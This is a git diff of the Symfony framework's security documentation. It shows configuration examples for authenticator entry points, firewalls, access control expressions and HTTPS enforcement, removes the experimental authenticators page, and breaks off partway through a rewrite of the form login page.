+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            enable_authenticator_manager: true
+
+            # ...
+            firewalls:
+                main:
+                    # allow authentication using a form or a custom authenticator
+                    form_login: ~
+                    custom_authenticators:
+                        - App\Security\SocialConnectAuthenticator
+
+                    # configure the form authentication as the entry point for unauthenticated users
+                    entry_point: form_login
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config enable-authenticator-manager="true">
+                <!-- ... -->
+
+                <!-- entry-point: configure the form authentication as the entry
+                                  point for unauthenticated users -->
+                <firewall name="main"
+                    entry-point="form_login"
+                >
+                    <!-- allow authentication using a form or a custom authenticator -->
+                    <form-login/>
+                    <custom-authenticator>App\Security\SocialConnectAuthenticator</custom-authenticator>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+        use App\Security\SocialConnectAuthenticator;
+
+        return static function (SecurityConfig $security) {
+            $security->enableAuthenticatorManager(true);
+            // ....
+
+
+            // allow authentication using a form or HTTP basic
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall
+                ->formLogin()
+                ->customAuthenticators([SocialConnectAuthenticator::class])
+
+                // configure the form authentication as the entry point for unauthenticated users
+                ->entryPoint('form_login');
+            ;
+        };
+
+.. note::
+
+    You can also create your own authentication entry point by creating a
+    class that implements
+    :class:`Symfony\\Component\\Security\\Http\\EntryPoint\\AuthenticationEntryPointInterface`.
+    You can then set ``entry_point`` to the service id (e.g.
+    ``entry_point: App\Security\CustomEntryPoint``)
+
+Multiple Authenticators with Separate Entry Points
+--------------------------------------------------
+
+However, there are use cases where you have authenticators that protect
+different parts of your application. For example, you have a login form
+that protects the main website and API end-points used by external parties
+protected by API keys.
+
+As you can only configure one entry point per firewall, the solution is to
+split the configuration into two separate firewalls:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+            firewalls:
+                api:
+                    pattern: ^/api/
+                    custom_authenticators:
+                        - App\Security\ApiTokenAuthenticator
+                main:
+                    lazy: true
+                    form_login: ~
+
+            access_control:
+                - { path: '^/login', roles: PUBLIC_ACCESS }
+                - { path: '^/api', roles: ROLE_API_USER }
+                - { path: '^/', roles: ROLE_USER }
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+                <firewall name="api" pattern="^/api/">
+                    <custom-authenticator>App\Security\ApiTokenAuthenticator</custom-authenticator>
+                </firewall>
+
+                <firewall name="main" anonymous="true" lazy="true">
+                    <form-login/>
+                </firewall>
+
+                <rule path="^/login" role="PUBLIC_ACCESS"/>
+                <rule path="^/api" role="ROLE_API_USER"/>
+                <rule path="^/" role="ROLE_USER"/>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Security\ApiTokenAuthenticator;
+        use App\Security\LoginFormAuthenticator;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $apiFirewall = $security->firewall('api');
+            $apiFirewall
+                ->pattern('^/api')
+                ->customAuthenticators([ApiTokenAuthenticator::class])
+            ;
+
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall
+                ->lazy(true)
+                ->formLogin();
+
+            $accessControl = $security->accessControl();
+            $accessControl->path('^/login')->roles(['IS_AUTHENTICATED_ANONYMOUSLY']);
+            $accessControl->path('^/api')->roles(['ROLE_API_USER']);
+            $accessControl->path('^/')->roles(['ROLE_USER']);
+        };
diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
deleted file mode 100644
index d0813795b12..00000000000
--- a/security/experimental_authenticators.rst
+++ /dev/null
@@ -1,504 +0,0 @@
-Using the new Authenticator-based Security
-==========================================
-
-.. versionadded:: 5.1
-
-    Authenticator-based security was introduced as an
-    :doc:`experimental feature </contributing/code/experimental>` in
-    Symfony 5.1.
-
-In Symfony 5.1, a new authentication system was introduced. This system
-changes the internals of Symfony Security, to make it more extensible
-and more understandable.
-
-.. _security-enable-authenticator-manager:
-
-Enabling the System
--------------------
-
-The authenticator-based system can be enabled using the
-``enable_authenticator_manager`` setting:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            enable_authenticator_manager: true
-            # ...
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config enable-authenticator-manager="true">
-                <!-- ... -->
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'enable_authenticator_manager' => true,
-            // ...
-        ]);
-
-The new system is backwards compatible with the current authentication
-system, with some exceptions that will be explained in this article:
-
-* :ref:`Anonymous users no longer exist <authenticators-removed-anonymous>`
-* :ref:`Configuring the authentication entry point is required when more than one authenticator is used <authenticators-required-entry-point>`
-* :ref:`The authentication providers are refactored into Authenticators <authenticators-removed-authentication-providers>`
-
-.. _authenticators-removed-anonymous:
-
-Adding Support for Unsecured Access (i.e. Anonymous Users)
-----------------------------------------------------------
-
-In Symfony, visitors that haven't yet logged in to your website were called
-:ref:`anonymous users <firewalls-authentication>`. The new system no longer
-has anonymous authentication. Instead, these sessions are now treated as
-unauthenticated (i.e. there is no security token). When using
-``isGranted()``, the result will always be ``false`` (i.e. denied) as this
-session is handled as a user without any privileges.
-
-In the ``access_control`` configuration, you can use the new
-``PUBLIC_ACCESS`` security attribute to whitelist some routes for
-unauthenticated access (e.g. the login page):
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            enable_authenticator_manager: true
-
-            # ...
-            access_control:
-                # allow unauthenticated users to access the login form
-                - { path: ^/admin/login, roles: PUBLIC_ACCESS }
-
-                # but require authentication for all other admin routes
-                - { path: ^/admin, roles: ROLE_ADMIN }
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config enable-authenticator-manager="true">
-                <!-- ... -->
-
-                <access-control>
-                    <!-- allow unauthenticated users to access the login form -->
-                    <rule path="^/admin/login" role="PUBLIC_ACCESS"/>
-
-                    <!-- but require authentication for all other admin routes -->
-                    <rule path="^/admin" role="ROLE_ADMIN"/>
-                </access-control>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Component\Security\Http\Firewall\AccessListener;
-
-        $container->loadFromExtension('security', [
-            'enable_authenticator_manager' => true,
-
-            // ...
-            'access_control' => [
-                // allow unauthenticated users to access the login form
-                ['path' => '^/admin/login', 'roles' => AccessListener::PUBLIC_ACCESS],
-
-                // but require authentication for all other admin routes
-                ['path' => '^/admin', 'roles' => 'ROLE_ADMIN'],
-            ],
-        ]);
-
-.. _authenticators-required-entry-point:
-
-Configuring the Authentication Entry Point
-------------------------------------------
-
-Sometimes, one firewall has multiple ways to authenticate (e.g. both a form
-login and an API token authentication). In these cases, it is now required
-to configure the *authentication entry point*. The entry point is used to
-generate a response when the user is not yet authenticated but tries to access
-a page that requires authentication. This can be used for instance to redirect
-the user to the login page.
-
-You can configure this using the ``entry_point`` setting:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            enable_authenticator_manager: true
-
-            # ...
-            firewalls:
-                main:
-                    # allow authentication using a form or HTTP basic
-                    form_login: ~
-                    http_basic: ~
-
-                    # configure the form authentication as the entry point for unauthenticated users
-                    entry_point: form_login
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config enable-authenticator-manager="true">
-                <!-- ... -->
-
-                <!-- entry-point: configure the form authentication as the entry
-                                  point for unauthenticated users -->
-                <firewall name="main"
-                    entry-point="form_login"
-                >
-                    <!-- allow authentication using a form or HTTP basic -->
-                    <form-login/>
-                    <http-basic/>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Component\Security\Http\Firewall\AccessListener;
-
-        $container->loadFromExtension('security', [
-            'enable_authenticator_manager' => true,
-
-            // ...
-            'firewalls' => [
-                'main' => [
-                    // allow authentication using a form or HTTP basic
-                    'form_login' => null,
-                    'http_basic' => null,
-
-                    // configure the form authentication as the entry point for unauthenticated users
-                    'entry_point' => 'form_login'
-                ],
-            ],
-        ]);
-
-.. note::
-
-    You can also create your own authentication entry point by creating a
-    class that implements
-    :class:`Symfony\\Component\\Security\\Http\\EntryPoint\\AuthenticationEntryPointInterface`.
-    You can then set ``entry_point`` to the service id (e.g.
-    ``entry_point: App\Security\CustomEntryPoint``)
-
-.. _authenticators-removed-authentication-providers:
-
-Creating a Custom Authenticator
--------------------------------
-
-Security traditionally could be extended by writing
-:doc:`custom authentication providers </security/custom_authentication_provider>`.
-The authenticator-based system dropped support for these providers and
-introduced a new authenticator interface as a base for custom
-authentication methods.
-
-.. tip::
-
-    :doc:`Guard authenticators </security/guard_authentication>` are still
-    supported in the authenticator-based system. It is however recommended
-    to also update these when you're refactoring your application to the
-    new system. The new authenticator interface has many similarities with the
-    guard authenticator interface, making the rewrite easier.
-
-Authenticators should implement the
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\AuthenticatorInterface`.
-You can also extend
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractAuthenticator`,
-which has a default implementation for the ``createAuthenticatedToken()``
-method that fits most use-cases::
-
-    // src/Security/ApiKeyAuthenticator.php
-    namespace App\Security;
-
-    use App\Entity\User;
-    use Doctrine\ORM\EntityManagerInterface;
-    use Symfony\Component\HttpFoundation\JsonResponse;
-    use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
-    use Symfony\Component\Security\Core\Exception\AuthenticationException;
-    use Symfony\Component\Security\Core\Exception\CustomUserMessageAuthenticationException;
-    use Symfony\Component\Security\Core\Exception\UsernameNotFoundException;
-    use Symfony\Component\Security\Http\Authenticator\AbstractAuthenticator;
-    use Symfony\Component\Security\Http\Authenticator\Passport\PassportInterface;
-    use Symfony\Component\Security\Http\Authenticator\Passport\SelfValidatingPassport;
-
-    class ApiKeyAuthenticator extends AbstractAuthenticator
-    {
-        private $entityManager;
-
-        public function __construct(EntityManagerInterface $entityManager)
-        {
-            $this->entityManager = $entityManager;
-        }
-
-        /**
-         * Called on every request to decide if this authenticator should be
-         * used for the request. Returning `false` will cause this authenticator
-         * to be skipped.
-         */
-        public function supports(Request $request): ?bool
-        {
-            return $request->headers->has('X-AUTH-TOKEN');
-        }
-
-        public function authenticate(Request $request): PassportInterface
-        {
-            $apiToken = $request->headers->get('X-AUTH-TOKEN');
-            if (null === $apiToken) {
-                // The token header was empty, authentication fails with HTTP Status
-                // Code 401 "Unauthorized"
-                throw new CustomUserMessageAuthenticationException('No API token provided');
-            }
-
-            $user = $this->entityManager->getRepository(User::class)
-                ->findOneBy(['apiToken' => $apiToken])
-            ;
-            if (null === $user) {
-                throw new UsernameNotFoundException();
-            }
-
-            return new SelfValidatingPassport($user);
-        }
-
-        public function onAuthenticationSuccess(Request $request, TokenInterface $token, string $firewallName): ?Response
-        {
-            // on success, let the request continue
-            return null;
-        }
-
-        public function onAuthenticationFailure(Request $request, AuthenticationException $exception): ?Response
-        {
-            $data = [
-                // you may want to customize or obfuscate the message first
-                'message' => strtr($exception->getMessageKey(), $exception->getMessageData())
-
-                // or to translate this message
-                // $this->translator->trans($exception->getMessageKey(), $exception->getMessageData())
-            ];
-
-            return new JsonResponse($data, Response::HTTP_UNAUTHORIZED);
-        }
-    }
-
-The authenticator can be enabled using the ``custom_authenticators`` setting:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            enable_authenticator_manager: true
-
-            # ...
-            firewalls:
-                main:
-                    custom_authenticators:
-                        - App\Security\ApiKeyAuthenticator
-
-                    # don't forget to also configure the entry_point if the
-                    # authenticator implements AuthenticatorEntryPointInterface
-                    # entry_point: App\Security\CustomFormLoginAuthenticator
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config enable-authenticator-manager="true">
-                <!-- ... -->
-
-                <!-- don't forget to also configure the entry-point if the
-                     authenticator implements AuthenticatorEntryPointInterface
-                <firewall name="main"
-                    entry-point="App\Security\CustomFormLoginAuthenticator"> -->
-
-                <firewall name="main">
-                    <custom-authenticator>App\Security\ApiKeyAuthenticator</custom-authenticator>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Security\ApiKeyAuthenticator;
-        use Symfony\Component\Security\Http\Firewall\AccessListener;
-
-        $container->loadFromExtension('security', [
-            'enable_authenticator_manager' => true,
-
-            // ...
-            'firewalls' => [
-                'main' => [
-                    'custom_authenticators' => [
-                        ApiKeyAuthenticator::class,
-                    ],
-
-                    // don't forget to also configure the entry_point if the
-                    // authenticator implements AuthenticatorEntryPointInterface
-                    // 'entry_point' => [App\Security\CustomFormLoginAuthenticator::class],
-                ],
-            ],
-        ]);
-
-The ``authenticate()`` method is the most important method of the
-authenticator. Its job is to extract credentials (e.g. username &
-password, or API tokens) from the ``Request`` object and transform these
-into a security
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport`.
-
-.. tip::
-
-    If you want to customize the login form, you can also extend from the
-    :class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractLoginFormAuthenticator`
-    class instead.
-
-Security Passports
-~~~~~~~~~~~~~~~~~~
-
-A passport is an object that contains the user that will be authenticated as
-well as other pieces of information, like whether a password should be checked
-or if "remember me" functionality should be enabled.
-
-The default
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport`.
-requires a user object and credentials. The following credential classes
-are supported by default:
-
-
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Credentials\\PasswordCredentials`
-    This requires a plaintext ``$password``, which is validated using the
-    :ref:`password encoder configured for the user <security-encoding-user-password>`.
-
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Credentials\\CustomCredentials`
-    Allows a custom closure to check credentials::
-
-        // ...
-        return new Passport($user, new CustomCredentials(
-            // If this function returns anything else than `true`, the credentials
-            // are marked as invalid.
-            // The $credentials parameter is equal to the next argument of this class
-            function ($credentials, UserInterface $user) {
-                return $user->getApiToken() === $credentials;
-            },
-
-            // The custom credentials
-            $apiToken
-        ));
-
-.. note::
-
-    If you don't need any credentials to be checked (e.g. a JWT token), you
-    can use the
-    :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\SelfValidatingPassport`.
-    This class only requires a user and optionally `Passport Badges`_.
-
-Passport Badges
-~~~~~~~~~~~~~~~
-
-The ``Passport`` also optionally allows you to add *security badges*.
-Badges attach more data to the passport (to extend security). By default,
-the following badges are supported:
-
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\RememberMeBadge`
-    When this badge is added to the passport, the authenticator indicates
-    remember me is supported. Whether remember me is actually used depends
-    on special ``remember_me`` configuration. Read
-    :doc:`/security/remember_me` for more information.
-
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\PasswordUpgradeBadge`
-    This is used to automatically upgrade the password to a new hash upon
-    successful login. This badge requires the plaintext password and a
-    password upgrader (e.g. the user repository). See :doc:`/security/password_migration`.
-
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\CsrfTokenBadge`
-    Automatically validates CSRF tokens for this authenticator during
-    authentication. The constructor requires a token ID (unique per form)
-    and CSRF token (unique per request). See :doc:`/security/csrf`.
-
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\PreAuthenticatedUserBadge`
-    Indicates that this user was pre-authenticated (i.e. before Symfony was
-    initiated). This skips the
-    :doc:`pre-authentication user checker </security/user_checkers>`.
-
-For instance, if you want to add CSRF and password migration to your custom
-authenticator, you would initialize the passport like this::
-
-    // src/Service/LoginAuthenticator.php
-    namespace App\Service;
-
-    // ...
-    use Symfony\Component\Security\Http\Authenticator\AbstractAuthenticator;
-    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\CsrfTokenBadge;
-    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\PasswordUpgradeBadge;
-    use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
-    use Symfony\Component\Security\Http\Authenticator\Passport\PassportInterface;
-
-    class LoginAuthenticator extends AbstractAuthenticator
-    {
-        public function authenticate(Request $request): PassportInterface
-        {
-            $password = $request->request->get('password');
-            $username = $request->request->get('username');
-            $csrfToken = $request->request->get('csrf_token');
-
-            // ... get the $user from the $username and validate no
-            // parameter is empty
-
-            return new Passport($user, new PasswordCredentials($password), [
-                // $this->userRepository must implement PasswordUpgraderInterface
-                new PasswordUpgradeBadge($password, $this->userRepository),
-                new CsrfTokenBadge('login', $csrfToken),
-            ]);
-        }
-    }
diff --git a/security/expressions.rst b/security/expressions.rst
index fefee9bac17..c1bc9717a70 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -12,16 +12,23 @@ Security: Complex Access Controls with Expressions
 In addition to a role like ``ROLE_ADMIN``, the ``isGranted()`` method also
 accepts an :class:`Symfony\\Component\\ExpressionLanguage\\Expression` object::
 
+    // src/Controller/MyController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\ExpressionLanguage\Expression;
-    // ...
+    use Symfony\Component\HttpFoundation\Response;
 
-    public function index()
+    class MyController extends AbstractController
     {
-        $this->denyAccessUnlessGranted(new Expression(
-            '"ROLE_ADMIN" in role_names or (not is_anonymous() and user.isSuperAdmin())'
-        ));
+        public function index(): Response
+        {
+            $this->denyAccessUnlessGranted(new Expression(
+                '"ROLE_ADMIN" in role_names or (not is_anonymous() and user.isSuperAdmin())'
+            ));
 
-        // ...
+            // ...
+        }
     }
 
 In this example, if the current user has ``ROLE_ADMIN`` or if the current
@@ -38,12 +45,14 @@ Inside the expression, you have access to a number of variables:
 
 ``user``
     The user object (or the string ``anon`` if you're not authenticated).
-``roles``
-    The array of roles the user has. This array includes any roles granted
-    indirectly via the :ref:`role hierarchy <security-role-hierarchy>` but it
+``role_names``
+    An array with the string representation of the roles the user has. This array
+    includes any roles granted indirectly via the :ref:`role hierarchy <security-role-hierarchy>` but it
     does not include the ``IS_AUTHENTICATED_*`` attributes (see the functions below).
 ``object``
     The object (if any) that's passed as the second argument to ``isGranted()``.
+``subject``
+    It stores the same value as ``object``, so they are equivalent.
 ``token``
     The token object.
 ``trust_resolver``
@@ -64,10 +73,10 @@ Additionally, you have access to a number of functions inside the expression:
 ``is_fully_authenticated()``
     Equal to checking if the user has the ``IS_AUTHENTICATED_FULLY`` role.
 ``is_granted()``
-    Checks if the user has the given permission. Optionally accepts a second argument
-    with the object where permission is checked on. It's equivalent to using
-    the :doc:`isGranted() method </security/securing_services>` from the authorization
-    checker service.
+    Checks if the user has the given permission. Optionally accepts a
+    second argument with the object where permission is checked on. It's
+    equivalent to using the :ref:`isGranted() method <security-isgranted>`
+    from the security service.
 
 .. sidebar:: ``is_remember_me()`` is different than checking ``IS_AUTHENTICATED_REMEMBERED``
 
@@ -80,7 +89,7 @@ Additionally, you have access to a number of functions inside the expression:
         use Symfony\Component\Security\Core\Authorization\AuthorizationCheckerInterface;
         // ...
 
-        public function index(AuthorizationCheckerInterface $authorizationChecker)
+        public function index(AuthorizationCheckerInterface $authorizationChecker): Response
         {
             $access1 = $authorizationChecker->isGranted('IS_AUTHENTICATED_REMEMBERED');
 
diff --git a/security/firewall_restriction.rst b/security/firewall_restriction.rst
index ee0950083bc..3638858efde 100644
--- a/security/firewall_restriction.rst
+++ b/security/firewall_restriction.rst
@@ -44,7 +44,7 @@ if the request path matches the configured ``pattern``.
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -64,16 +64,16 @@ if the request path matches the configured ``pattern``.
     .. code-block:: php
 
         // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
 
-        // ...
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'secured_area' => [
-                    'pattern' => '^/admin',
-                    // ...
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            // ....
+
+            $security->firewall('secured_area')
+                ->pattern('^/admin')
+                // ...
+            ;
+        };
 
 The ``pattern`` is a regular expression. In this example, the firewall will only be
 activated if the path starts (due to the ``^`` regex character) with ``/admin``. If
@@ -103,7 +103,7 @@ only initialize if the host from the request matches against the configuration.
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -123,16 +123,16 @@ only initialize if the host from the request matches against the configuration.
     .. code-block:: php
 
         // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ....
 
-        // ...
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'secured_area' => [
-                    'host' => '^admin\.example\.com$',
-                    // ...
-                ],
-            ],
-        ]);
+            $security->firewall('secured_area')
+                ->host('^admin\.example\.com$')
+                // ...
+            ;
+        };
 
 The ``host`` (like the ``pattern``) is a regular expression. In this example,
 the firewall will only be activated if the host is equal exactly (due to
@@ -163,7 +163,7 @@ the provided HTTP methods.
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -183,16 +183,16 @@ the provided HTTP methods.
     .. code-block:: php
 
         // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
 
-        // ...
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'secured_area' => [
-                    'methods' => ['GET', 'POST'],
-                    // ...
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            // ....
+
+            $security->firewall('secured_area')
+                ->methods(['GET', 'POST'])
+                // ...
+            ;
+        };
 
 In this example, the firewall will only be activated if the HTTP method of the
 request is either ``GET`` or ``POST``. If the method is not in the array of the
@@ -221,7 +221,7 @@ If the above options don't fit your needs you can configure any service implemen
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -241,13 +241,13 @@ If the above options don't fit your needs you can configure any service implemen
     .. code-block:: php
 
         // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ....
 
-        // ...
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'secured_area' => [
-                    'request_matcher' => 'app.firewall.secured_area.request_matcher',
-                    // ...
-                ],
-            ],
-        ]);
+            $security->firewall('secured_area')
+                ->requestMatcher('app.firewall.secured_area.request_matcher')
+                // ...
+            ;
+        };
diff --git a/security/force_https.rst b/security/force_https.rst
index 9492e0fece0..2c2a8fe42c2 100644
--- a/security/force_https.rst
+++ b/security/force_https.rst
@@ -31,7 +31,7 @@ access control:
         .. code-block:: xml
 
             <!-- config/packages/security.xml -->
-            <?xml version="1.0" encoding="UTF-8"?>
+            <?xml version="1.0" encoding="UTF-8" ?>
             <srv:container xmlns="http://symfony.com/schema/dic/security"
                 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                 xmlns:srv="http://symfony.com/schema/dic/services"
@@ -60,27 +60,29 @@ access control:
         .. code-block:: php
 
             // config/packages/security.php
-            $container->loadFromExtension('security', [
-                // ...
-
-                'access_control' => [
-                    [
-                        'path'             => '^/secure',
-                        'roles'            => 'ROLE_ADMIN',
-                        'requires_channel' => 'https',
-                    ],
-                    [
-                        'path'             => '^/login',
-                        'role'             => 'IS_AUTHENTICATED_ANONYMOUSLY',
-                        'requires_channel' => 'https',
-                    ],
-                    [
-                        'path'             => '^/',
-                        'role'             => 'IS_AUTHENTICATED_ANONYMOUSLY',
-                        'requires_channel' => 'https',
-                    ],
-                ],
-            ]);
+            use Symfony\Config\SecurityConfig;
+
+            return static function (SecurityConfig $security) {
+                // ....
+
+                $security->accessControl()
+                    ->path('^/secure')
+                    ->roles(['ROLE_ADMIN'])
+                    ->requiresChannel('https')
+                ;
+
+                $security->accessControl()
+                    ->path('^/login')
+                    ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                    ->requiresChannel('https')
+                ;
+
+                $security->accessControl()
+                    ->path('^/')
+                    ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                    ->requiresChannel('https')
+                ;
+            };
 
 To make life easier while developing, you can also use an environment variable,
 like ``requires_channel: '%env(SECURE_SCHEME)%'``. In your ``.env`` file, set
diff --git a/security/form_login.rst b/security/form_login.rst
index 6400a62206b..4bace9cf2a8 100644
--- a/security/form_login.rst
+++ b/security/form_login.rst
@@ -1,405 +1,15 @@
 .. index::
    single: Security; Customizing form login redirect
 
-Using the form_login Authentication Provider
-============================================
+Customizing the Form Login Authenticator Responses
+==================================================
 
-.. caution::
+The form login authenticator creates a login form where users authenticate
+using an identifier (e.g. email address or username) and a password. In
+:ref:`security-form-login` the usage of this authenticator is explained.
 
-    To have complete control over your login form, we recommend building a
-    :doc:`form login authentication with Guard </security/form_login_setup>`.
-
-Symfony comes with a built-in ``form_login`` system that handles a login form
-POST automatically. Before you start, make sure you've followed the
-:doc:`Security Guide </security>` to create your User class.
-
-form_login Setup
-----------------
-
-First, enable ``form_login`` under your firewall:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    anonymous: true
-                    lazy: true
-                    form_login:
-                        login_path: login
-                        check_path: login
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <firewall name="main" anonymous="true" lazy="true">
-                    <form-login login-path="login" check-path="login"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
